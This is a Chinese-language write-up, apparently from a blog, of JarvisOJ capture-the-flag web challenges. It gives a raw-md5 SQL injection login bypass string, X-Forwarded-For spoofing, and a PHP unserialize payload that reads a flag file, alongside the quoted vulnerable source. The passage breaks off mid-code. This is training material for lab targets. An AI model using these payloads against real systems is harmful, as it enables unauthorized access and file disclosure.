jarvisoj WEB +MISC writeup

本文详细介绍了在JarvisOJ平台上的Web和Misc两类挑战的解题过程,涉及端口51的访问、登录页面的密码获取、序列化漏洞利用、文件上传与包含、SQL注入等多种技术。在Misc部分,还涵盖了音频解码和莫尔斯密码的破解。通过这些实例,展示了网络安全和逆向分析的关键技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WEB

PORT 51

打开后发现需要利用51端口进行访问呢
这里写图片描述

直接利用curl命令访问即可
这里写图片描述

命令用法

curl –local-port 51 http://xx

flag:PCTF{M45t3r_oF_CuRl}

Login

打开后是一个输入框,随便输入,尝试抓包,得到hintHint: "select * from `admin` where password='".md5($pass,true)."'"

直接百度,得到一个博客
直接输入字符串ffifdyop得到flag

LOCALHOST

看来需要localhost access only!!直接利用Modify Headers直接加上X-Forwarded-For: 127.0.0.1即可

神盾局的秘密

打开是一张图片,直接抓包
这里写图片描述

会发现有个base64编码的地址,猜测这是利用base64访问任意文件
访问showimg.php

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

访问index.php

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

查看shield.php

<?php
    //flag is in pctf.php
    class Shield {
   
   
        public $file;
        function __construct($filename = '') {
   
   
            $this -> file = $filename;
        }

        function readfile() {
   
   
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到源码可以知道这是一个序列化的漏洞,直接按照格式生成一个,payload

<?php
    class Shield {
   
   
        public $file;
        function __construct($filename = '') {
   
   
            $this -> file = $filename;
        }
    }
    $a = new Shield();
    $a->file = "pctf.php";
    echo serialize($a);
?>

得到

O:6:"Shield":1:{
   
   s:4:"file";s:8:"pctf.php";}

flag

<?php 
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>

IN a mess

查看源码得到提示index.phps,访问得

?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET[
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值